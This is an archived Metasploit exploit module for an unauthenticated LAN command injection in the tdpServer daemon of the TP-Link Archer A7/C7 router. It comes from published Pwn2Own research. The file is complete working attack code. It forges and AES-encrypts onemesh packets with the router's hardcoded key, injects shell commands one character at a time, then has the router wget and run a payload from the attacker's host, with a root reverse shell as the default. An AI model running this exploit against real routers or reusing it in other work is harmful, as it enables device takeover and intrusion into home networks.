tplink_archer_a7_c7_lan_rce.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# NOTE !!!
# This exploit is kept here for archiving purposes only.
# Please refer to and use the version that has been accepted into the Metasploit framework.

require 'openssl'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution',
        'Description' => %q{
          This module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on
          the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726.
          The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does
          not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command
          as root, including downloading and executing a binary from another host.
          This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +
          Radek Domanski).
          This module was updated in November 2020, after a bypass was discovered for the patch TP-Link issued. The new
          injection technique works on older firmware too. All firmware versions up to (but excluding) releases 201029 and
          201030 are exploitable.
        },
        'License' => MSF_LICENSE,
        'Author' =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
          'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module
        ],
        'References' =>
          [
            [ 'URL', 'https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo'],
            [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/lao_bomb/lao_bomb.md'],
            [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2019/lao_bomb.md'],
            [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2020/minesweeper.md'],
            [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2020/minesweeper.md'],
            [ 'CVE', '2020-10882'],
            [ 'CVE', '2020-10883'],
            [ 'CVE', '2020-10884'],
            [ 'CVE', '2020-28347'],
            [ 'ZDI', '20-334'],
            [ 'ZDI', '20-335'],
            [ 'ZDI', '20-336' ]
          ],
        'Privileged' => true,
        'Platform' => 'linux',
        'Arch' => ARCH_MIPSBE,
        'Payload' => {},
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'DefaultOptions' =>
          {
            'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp',
            'WfsDelay' => 15
          },
        'Targets' =>
          [
            [ 'TP-Link Archer A7/C7 (AC1750) v5 (firmware up to 201029/30)', {} ]
          ],
        'DisclosureDate' => '2020-03-25',
        'DefaultTarget' => 0
      )
    )
    register_options(
      [
        Opt::RPORT(20002)
      ]
    )

    register_advanced_options(
      [
        OptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for payload download', 15])
      ]
    )
  end

  def check
    vuln_versions = [
      # older versions not listed here are also vulnerable
      "app.1575358240615.manifest",   # A7 191203
      "app.1582117229115.manifest",   # A7 200220
      "app.1595301495454.manifest",   # A7 200721
      "app.1564127413977.manifest",   # C7 190726
      "app.1593336984117.manifest",   # C7 201030
    ]

    fixed_versions = [
      "app.1603185012713.manifest",   # A7 201029
      "app.1603240096315.manifest"    # C7 201030
    ]

    begin
      for version in vuln_versions
        res = send_request_cgi({
          'uri' => "/webpages/#{version}",
          'method' => 'GET',
          'rport' => 80
        })
        if res && res.code == 200
          return Exploit::CheckCode::Vulnerable
        end
      end

      for version in fixed_versions
        res = send_request_cgi({
          'uri' => "/webpages/#{version}",
          'method' => 'GET',
          'rport' => 80
        })
        if res && res.code == 200
          return Exploit::CheckCode::Safe
        end
      end
    rescue ::Rex::ConnectionError
      pass
    end
    return Exploit::CheckCode::Unknown
  end

  def calc_checksum(packet)
    # reference table used to calculate the packet checksum
    # used by tdpd_pkt_calc_checksum (0x4037f0)
    # located at offset 0x0416e90 in the binary
    reference_tbl = [
      0x00, 0x00, 0x00, 0x00, 0x77, 0x07, 0x30, 0x96, 0xee,
      0x0e, 0x61, 0x2c, 0x99, 0x09, 0x51, 0xba, 0x07, 0x6d, 0xc4, 0x19, 0x70, 0x6a, 0xf4,
      0x8f, 0xe9, 0x63, 0xa5, 0x35, 0x9e, 0x64, 0x95, 0xa3, 0x0e, 0xdb, 0x88, 0x32, 0x79,
      0xdc, 0xb8, 0xa4, 0xe0, 0xd5, 0xe9, 0x1e, 0x97, 0xd2, 0xd9, 0x88, 0x09, 0xb6, 0x4c,
      0x2b, 0x7e, 0xb1, 0x7c, 0xbd, 0xe7, 0xb8, 0x2d, 0x07, 0x90, 0xbf, 0x1d, 0x91, 0x1d,
      0xb7, 0x10, 0x64, 0x6a, 0xb0, 0x20, 0xf2, 0xf3, 0xb9, 0x71, 0x48, 0x84, 0xbe, 0x41,
      0xde, 0x1a, 0xda, 0xd4, 0x7d, 0x6d, 0xdd, 0xe4, 0xeb, 0xf4, 0xd4, 0xb5, 0x51, 0x83,
      0xd3, 0x85, 0xc7, 0x13, 0x6c, 0x98, 0x56, 0x64, 0x6b, 0xa8, 0xc0, 0xfd, 0x62, 0xf9,
      0x7a, 0x8a, 0x65, 0xc9, 0xec, 0x14, 0x01, 0x5c, 0x4f, 0x63, 0x06, 0x6c, 0xd9, 0xfa,
      0x0f, 0x3d, 0x63, 0x8d, 0x08, 0x0d, 0xf5, 0x3b, 0x6e, 0x20, 0xc8, 0x4c, 0x69, 0x10,
      0x5e, 0xd5, 0x60, 0x41, 0xe4, 0xa2, 0x67, 0x71, 0x72, 0x3c, 0x03, 0xe4, 0xd1, 0x4b,
      0x04, 0xd4, 0x47, 0xd2, 0x0d, 0x85, 0xfd, 0xa5, 0x0a, 0xb5, 0x6b, 0x35, 0xb5, 0xa8,
      0xfa, 0x42, 0xb2, 0x98, 0x6c, 0xdb, 0xbb, 0xc9, 0xd6, 0xac, 0xbc, 0xf9, 0x40, 0x32,
      0xd8, 0x6c, 0xe3, 0x45, 0xdf, 0x5c, 0x75, 0xdc, 0xd6, 0x0d, 0xcf, 0xab, 0xd1, 0x3d,
      0x59, 0x26, 0xd9, 0x30, 0xac, 0x51, 0xde, 0x00, 0x3a, 0xc8, 0xd7, 0x51, 0x80, 0xbf,
      0xd0, 0x61, 0x16, 0x21, 0xb4, 0xf4, 0xb5, 0x56, 0xb3, 0xc4, 0x23, 0xcf, 0xba, 0x95,
      0x99, 0xb8, 0xbd, 0xa5, 0x0f, 0x28, 0x02, 0xb8, 0x9e, 0x5f, 0x05, 0x88, 0x08, 0xc6,
      0x0c, 0xd9, 0xb2, 0xb1, 0x0b, 0xe9, 0x24, 0x2f, 0x6f, 0x7c, 0x87, 0x58, 0x68, 0x4c,
      0x11, 0xc1, 0x61, 0x1d, 0xab, 0xb6, 0x66, 0x2d, 0x3d, 0x76, 0xdc, 0x41, 0x90, 0x01,
      0xdb, 0x71, 0x06, 0x98, 0xd2, 0x20, 0xbc, 0xef, 0xd5, 0x10, 0x2a, 0x71, 0xb1, 0x85,
      0x89, 0x06, 0xb6, 0xb5, 0x1f, 0x9f, 0xbf, 0xe4, 0xa5, 0xe8, 0xb8, 0xd4, 0x33, 0x78,
      0x07, 0xc9, 0xa2, 0x0f, 0x00, 0xf9, 0x34, 0x96, 0x09, 0xa8, 0x8e, 0xe1, 0x0e, 0x98,
      0x18, 0x7f, 0x6a, 0x0d, 0xbb, 0x08, 0x6d, 0x3d, 0x2d, 0x91, 0x64, 0x6c, 0x97, 0xe6,
      0x63, 0x5c, 0x01, 0x6b, 0x6b, 0x51, 0xf4, 0x1c, 0x6c, 0x61, 0x62, 0x85, 0x65, 0x30,
      0xd8, 0xf2, 0x62, 0x00, 0x4e, 0x6c, 0x06, 0x95, 0xed, 0x1b, 0x01, 0xa5, 0x7b, 0x82,
      0x08, 0xf4, 0xc1, 0xf5, 0x0f, 0xc4, 0x57, 0x65, 0xb0, 0xd9, 0xc6, 0x12, 0xb7, 0xe9,
      0x50, 0x8b, 0xbe, 0xb8, 0xea, 0xfc, 0xb9, 0x88, 0x7c, 0x62, 0xdd, 0x1d, 0xdf, 0x15,
      0xda, 0x2d, 0x49, 0x8c, 0xd3, 0x7c, 0xf3, 0xfb, 0xd4, 0x4c, 0x65, 0x4d, 0xb2, 0x61,
      0x58, 0x3a, 0xb5, 0x51, 0xce, 0xa3, 0xbc, 0x00, 0x74, 0xd4, 0xbb, 0x30, 0xe2, 0x4a,
      0xdf, 0xa5, 0x41, 0x3d, 0xd8, 0x95, 0xd7, 0xa4, 0xd1, 0xc4, 0x6d, 0xd3, 0xd6, 0xf4,
      0xfb, 0x43, 0x69, 0xe9, 0x6a, 0x34, 0x6e, 0xd9, 0xfc, 0xad, 0x67, 0x88, 0x46, 0xda,
      0x60, 0xb8, 0xd0, 0x44, 0x04, 0x2d, 0x73, 0x33, 0x03, 0x1d, 0xe5, 0xaa, 0x0a, 0x4c,
      0x5f, 0xdd, 0x0d, 0x7c, 0xc9, 0x50, 0x05, 0x71, 0x3c, 0x27, 0x02, 0x41, 0xaa, 0xbe,
      0x0b, 0x10, 0x10, 0xc9, 0x0c, 0x20, 0x86, 0x57, 0x68, 0xb5, 0x25, 0x20, 0x6f, 0x85,
      0xb3, 0xb9, 0x66, 0xd4, 0x09, 0xce, 0x61, 0xe4, 0x9f, 0x5e, 0xde, 0xf9, 0x0e, 0x29,
      0xd9, 0xc9, 0x98, 0xb0, 0xd0, 0x98, 0x22, 0xc7, 0xd7, 0xa8, 0xb4, 0x59, 0xb3, 0x3d,
      0x17, 0x2e, 0xb4, 0x0d, 0x81, 0xb7, 0xbd, 0x5c, 0x3b, 0xc0, 0xba, 0x6c, 0xad, 0xed,
      0xb8, 0x83, 0x20, 0x9a, 0xbf, 0xb3, 0xb6, 0x03, 0xb6, 0xe2, 0x0c, 0x74, 0xb1, 0xd2,
      0x9a, 0xea, 0xd5, 0x47, 0x39, 0x9d, 0xd2, 0x77, 0xaf, 0x04, 0xdb, 0x26, 0x15, 0x73,
      0xdc, 0x16, 0x83, 0xe3, 0x63, 0x0b, 0x12, 0x94, 0x64, 0x3b, 0x84, 0x0d, 0x6d, 0x6a,
      0x3e, 0x7a, 0x6a, 0x5a, 0xa8, 0xe4, 0x0e, 0xcf, 0x0b, 0x93, 0x09, 0xff, 0x9d, 0x0a,
      0x00, 0xae, 0x27, 0x7d, 0x07, 0x9e, 0xb1, 0xf0, 0x0f, 0x93, 0x44, 0x87, 0x08, 0xa3,
      0xd2, 0x1e, 0x01, 0xf2, 0x68, 0x69, 0x06, 0xc2, 0xfe, 0xf7, 0x62, 0x57, 0x5d, 0x80,
      0x65, 0x67, 0xcb, 0x19, 0x6c, 0x36, 0x71, 0x6e, 0x6b, 0x06, 0xe7, 0xfe, 0xd4, 0x1b,
      0x76, 0x89, 0xd3, 0x2b, 0xe0, 0x10, 0xda, 0x7a, 0x5a, 0x67, 0xdd, 0x4a, 0xcc, 0xf9,
      0xb9, 0xdf, 0x6f, 0x8e, 0xbe, 0xef, 0xf9, 0x17, 0xb7, 0xbe, 0x43, 0x60, 0xb0, 0x8e,
      0xd5, 0xd6, 0xd6, 0xa3, 0xe8, 0xa1, 0xd1, 0x93, 0x7e, 0x38, 0xd8, 0xc2, 0xc4, 0x4f,
      0xdf, 0xf2, 0x52, 0xd1, 0xbb, 0x67, 0xf1, 0xa6, 0xbc, 0x57, 0x67, 0x3f, 0xb5, 0x06,
      0xdd, 0x48, 0xb2, 0x36, 0x4b, 0xd8, 0x0d, 0x2b, 0xda, 0xaf, 0x0a, 0x1b, 0x4c, 0x36,
      0x03, 0x4a, 0xf6, 0x41, 0x04, 0x7a, 0x60, 0xdf, 0x60, 0xef, 0xc3, 0xa8, 0x67, 0xdf,
      0x55, 0x31, 0x6e, 0x8e, 0xef, 0x46, 0x69, 0xbe, 0x79, 0xcb, 0x61, 0xb3, 0x8c, 0xbc,
      0x66, 0x83, 0x1a, 0x25, 0x6f, 0xd2, 0xa0, 0x52, 0x68, 0xe2, 0x36, 0xcc, 0x0c, 0x77,
      0x95, 0xbb, 0x0b, 0x47, 0x03, 0x22, 0x02, 0x16, 0xb9, 0x55, 0x05, 0x26, 0x2f, 0xc5,
      0xba, 0x3b, 0xbe, 0xb2, 0xbd, 0x0b, 0x28, 0x2b, 0xb4, 0x5a, 0x92, 0x5c, 0xb3, 0x6a,
      0x04, 0xc2, 0xd7, 0xff, 0xa7, 0xb5, 0xd0, 0xcf, 0x31, 0x2c, 0xd9, 0x9e, 0x8b, 0x5b,
      0xde, 0xae, 0x1d, 0x9b, 0x64, 0xc2, 0xb0, 0xec, 0x63, 0xf2, 0x26, 0x75, 0x6a, 0xa3,
      0x9c, 0x02, 0x6d, 0x93, 0x0a, 0x9c, 0x09, 0x06, 0xa9, 0xeb, 0x0e, 0x36, 0x3f, 0x72,
      0x07, 0x67, 0x85, 0x05, 0x00, 0x57, 0x13, 0x95, 0xbf, 0x4a, 0x82, 0xe2, 0xb8, 0x7a,
      0x14, 0x7b, 0xb1, 0x2b, 0xae, 0x0c, 0xb6, 0x1b, 0x38, 0x92, 0xd2, 0x8e, 0x9b, 0xe5,
      0xd5, 0xbe, 0x0d, 0x7c, 0xdc, 0xef, 0xb7, 0x0b, 0xdb, 0xdf, 0x21, 0x86, 0xd3, 0xd2,
      0xd4, 0xf1, 0xd4, 0xe2, 0x42, 0x68, 0xdd, 0xb3, 0xf8, 0x1f, 0xda, 0x83, 0x6e, 0x81,
      0xbe, 0x16, 0xcd, 0xf6, 0xb9, 0x26, 0x5b, 0x6f, 0xb0, 0x77, 0xe1, 0x18, 0xb7, 0x47,
      0x77, 0x88, 0x08, 0x5a, 0xe6, 0xff, 0x0f, 0x6a, 0x70, 0x66, 0x06, 0x3b, 0xca, 0x11,
      0x01, 0x0b, 0x5c, 0x8f, 0x65, 0x9e, 0xff, 0xf8, 0x62, 0xae, 0x69, 0x61, 0x6b, 0xff,
      0xd3, 0x16, 0x6c, 0xcf, 0x45, 0xa0, 0x0a, 0xe2, 0x78, 0xd7, 0x0d, 0xd2, 0xee, 0x4e,
      0x04, 0x83, 0x54, 0x39, 0x03, 0xb3, 0xc2, 0xa7, 0x67, 0x26, 0x61, 0xd0, 0x60, 0x16,
      0xf7, 0x49, 0x69, 0x47, 0x4d, 0x3e, 0x6e, 0x77, 0xdb, 0xae, 0xd1, 0x6a, 0x4a, 0xd9,
      0xd6, 0x5a, 0xdc, 0x40, 0xdf, 0x0b, 0x66, 0x37, 0xd8, 0x3b, 0xf0, 0xa9, 0xbc, 0xae,
      0x53, 0xde, 0xbb, 0x9e, 0xc5, 0x47, 0xb2, 0xcf, 0x7f, 0x30, 0xb5, 0xff, 0xe9, 0xbd,
      0xbd, 0xf2, 0x1c, 0xca, 0xba, 0xc2, 0x8a, 0x53, 0xb3, 0x93, 0x30, 0x24, 0xb4, 0xa3,
      0xa6, 0xba, 0xd0, 0x36, 0x05, 0xcd, 0xd7, 0x06, 0x93, 0x54, 0xde, 0x57, 0x29, 0x23,
      0xd9, 0x67, 0xbf, 0xb3, 0x66, 0x7a, 0x2e, 0xc4, 0x61, 0x4a, 0xb8, 0x5d, 0x68, 0x1b,
      0x02, 0x2a, 0x6f, 0x2b, 0x94, 0xb4, 0x0b, 0xbe, 0x37, 0xc3, 0x0c, 0x8e, 0xa1, 0x5a,
      0x05, 0xdf, 0x1b, 0x2d, 0x02, 0xef, 0x8d
    ]

    res = 0xffffffff

    # main checksum calculation
    packet.each_entry do |c|
      index = ((c ^ res) & 0xff) * 4
      # .reverse is needed as the target is big endian
      ref = reference_tbl[index..index + 3].reverse.pack('C*').unpack1('L')
      res = ref ^ (res >> 8)
    end

    checksum = ~res
    checksum_s = [checksum].pack('I>').force_encoding('ascii')

    # convert back to string
    packet = packet.pack('C*').force_encoding('ascii')

    # and replace the checksum
    packet[12] = checksum_s[0]
    packet[13] = checksum_s[1]
    packet[14] = checksum_s[2]
    packet[15] = checksum_s[3]

    packet
  end

  def aes_encrypt(plaintext)
    # Function encrypts perfectly 16 bytes aligned payload

    if (plaintext.length % 16 != 0)
      return
    end

    cipher = OpenSSL::Cipher.new 'AES-128-CBC'
    # in the original C code the key and IV are 256 bits long... but they still use AES-128
    iv = '1234567890abcdef'
    key = 'TPONEMESH_Kf!xn?'
    encrypted = ''
    cipher.encrypt
    cipher.iv = iv
    cipher.key = key

    # Take each 16 bytes block and encrypt it
    plaintext.scan(/.{1,16}/) do |block|
      encrypted += cipher.update(block)
    end

    encrypted
  end

  def create_injection(c, literal = false)
    # Template for the command injection
    # The injection happens at "slave_mac" (read advisory for details)
    # The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions.

    # This will fail if we send a command with single quotes (')
    # ... but that's not a problem for this module, since we don't use them for our command.
    # It might also fail with double quotes (") since this will break the JSON...
    if literal
      inject = c
    else
      inject = "\'`printf \'#{c}\'>>#{@cmd_file}`\'"
    end

    template = '{"method":"slave_key_offer","data":{'\
    "\"group_id\":\"#{rand_text_numeric(1..3)}\","\
    "\"ip\":\"#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}\","\
    '"slave_mac":"%{INJECTION}",'\
    "\"slave_private_account\":\"#{rand_text_alpha(5..13)}\","\
    "\"slave_private_password\":\"#{rand_text_alpha(5..13)}\","\
    '"want_to_join":false,'\
    "\"model\":\"#{rand_text_alpha(5..13)}\","\
    "\"product_type\":\"#{rand_text_alpha(5..13)}\","\
    '"operation_mode":"A%{PADDING}"}}'

    # This is required to calculate exact template length without replace flags
    template_len = template.length - '%{INJECTION}'.length - '%{PADDING}'.length
    # This has to be initialized to cover the situation when no padding is needed
    pad = ''
    padding = rand_text_alpha(16)

    template_len += inject.length

    # Calculate pad if padding is needed
    if (template_len % 16 != 0)
      pad = padding[0..15 - (template_len % 16)]
    end

    # Here the final payload is created
    format(template, INJECTION: inject.to_s, PADDING: pad.to_s)
  end

  def update_len_field(packet, payload_length)
    new_packet = packet[0..3]
    new_packet += [payload_length].pack('S>')
    new_packet += packet[6..-1]
  end

  def exec_cmd_file(packet)
    # This function handles special action of exec
    # Returns new complete tpdp packet
    inject = "\'`sh #{@cmd_file}`\'"
    payload = create_injection(inject, true)

    ciphertext = aes_encrypt(payload)
    if !ciphertext
      fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")
    end

    new_packet = packet[0..15]
    new_packet += ciphertext
    new_packet = update_len_field(new_packet, ciphertext.length)

    calc_checksum(new_packet.bytes)
  end

  # Handle incoming requests from the router
  def on_request_uri(cli, _request)
    if not @payload_sent
      print_good("#{peer} - Sending executable to the router")
      print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
      send_response(cli, @payload_exe)
      @payload_sent = true
    end
  end

  def exploit
    if ((datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::'))
      fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST")
    end

    if datastore['SSL']
      fail_with(Failure::Unknown, 'SSL is not supported on this target, please disable it')
    end

    print_status("Attempting to exploit #{target.name}")

    tpdp_packet_template =
      [0x01].pack('C*') + # packet version, fixed to 1
      [0xf0].pack('C*') + # set packet type to 0xf0 (onemesh)
      [0x07].pack('S>*') + # onemesh opcode, used by the onemesh_main switch table
      [0x00].pack('S>*') + # packet len
      [0x01].pack('C*') + # some flag, has to be 1 to enter the vulnerable onemesh function
      [0x00].pack('C*') + # dunno what this is
      [rand(0xff), rand(0xff), rand(0xff), rand(0xff)].pack('C*') + # serial number, can by any value
      [0x5A, 0x6B, 0x7C, 0x8D].pack('C*') # Checksum placeholder

    srv_host = datastore['SRVHOST']
    srv_port = datastore['SRVPORT']
    @cmd_file = rand_text_alpha_lower(1)
    payload_file = rand_text_alpha_lower(1)

    # generate our payload executable
    @payload_exe = generate_payload_exe

    # Command that will download @payload_exe and execute it
    download_cmd = "wget http://#{srv_host}:#{srv_port}/#{payload_file};chmod +x #{payload_file};./#{payload_file}"

    http_service = 'http://' + srv_host + ':' + srv_port.to_s
    print_status("Starting up our web service on #{http_service} ...")
    start_service({ 'Uri' => {
      'Proc' => proc do |cli, req|
        on_request_uri(cli, req)
      end,
      'Path' => "/#{payload_file}"
    } })

    print_status("#{peer} - Connecting to the target")
    connect_udp

    print_status("#{peer} - Sending command file byte by byte")
    print_status("#{peer} - Command: #{download_cmd}")
    mod = download_cmd.length / 5

    download_cmd.each_char.with_index do |c, index|
      # Generate payload
      payload = create_injection(c)
      if !payload
        fail_with(Failure::Unknown, "#{peer} - Failed to setup download command!")
      end

      # Encrypt payload
      ciphertext = aes_encrypt(payload)
      if !ciphertext
        fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")
      end

      tpdp_packet = tpdp_packet_template.dup
      tpdp_packet += ciphertext
      tpdp_packet = update_len_field(tpdp_packet, ciphertext.length)
      tpdp_packet = calc_checksum(tpdp_packet.bytes)

      udp_sock.put(tpdp_packet)

      # Sleep to make sure the payload is processed by a target
      Rex.sleep(1)

      # Print progress
      if ((index + 1) % mod == 0)
        percentage = 20 * ((index + 1) / mod)
        # very advanced mathemathics in use here to show the progress bar
        print_status("#{peer} - [0%]=#{' =' * ((percentage * 2 / 10 - 1) - 1)}>#{' -' * (20 - (percentage * 2 / 10))}[100%]")
        if percentage == 100
          # a bit of cheating to get the last char done right
          index = -2
        end
        # print_status("#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}")
      end
    end

    # Send the exec command. From here we should receive the connection
    print_status("#{peer} - Command file sent, attempting to execute...")
    tpdp_packet = exec_cmd_file(tpdp_packet_template.dup)
    udp_sock.put(tpdp_packet)

    timeout = 0
    until @payload_sent
      Rex.sleep(1)
      timeout += 1
      if timeout == datastore['MAX_WAIT'].to_i
        fail_with(Failure::Unknown, "#{peer} - Timeout reached! Payload was not downloaded :(")
      end
    end

    disconnect_udp
  end
end